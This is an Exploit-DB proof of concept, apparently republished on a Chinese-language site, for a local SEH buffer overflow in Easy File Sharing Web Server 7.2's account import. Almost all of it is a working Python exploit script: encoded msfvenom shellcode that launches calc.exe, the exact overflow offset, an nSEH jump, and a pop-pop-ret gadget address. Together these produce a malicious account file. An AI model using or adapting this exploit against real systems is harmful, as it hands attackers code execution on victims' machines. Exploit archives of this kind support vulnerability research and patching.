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Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH)
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来源：https://www.exploit-db.com 作者：Chako 发布时间：2017-06-29
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#!/usr/bin/python
##################################
# 2017/6/17 Chako
#
# EFS Web Server 7.2 - Local Buffer Overflow(SEH)
# Tested on: Windows XP SP3 EN (DEP Off)
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
# Description:
# When importing a large user account file on to EFS Web Server 7.2
# will trigger the vuln.
##################################
import struct
# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode = ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"
#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563
nSEH = "\xEB\x0F\x90\x90"
# 0x10012f3b : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)
NOP = "\x90" * 10
BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP
print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()
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